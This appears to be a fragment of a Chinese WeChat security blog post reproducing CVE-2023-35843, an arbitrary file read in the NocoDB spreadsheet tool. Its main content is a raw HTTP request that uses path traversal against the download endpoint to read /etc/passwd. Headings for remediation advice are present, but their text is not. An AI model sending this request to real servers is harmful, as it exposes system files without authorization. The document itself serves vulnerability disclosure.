NocoDB是一个开源Airtable 替代品。将任何 MySql、PostgreSql、Sql Server、Sqlite 和MariaDb 转换为智能电子表格。
GET /download/../../../../../etc/passwd HTTP/1.1
Host: 192.168.245.135:8080
If-Modified-Since: Sat, 14 Oct 2023 18:05:53 GMT
If-None-Match: W/"4ce1-18b2f5dbaf4"
登录页面
0X03 修复建议
0X04
原文始发于微信公众号(皓月的笔记本):【漏洞复现】NocoDB 任意文件读取漏洞(CVE-2023-35843)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论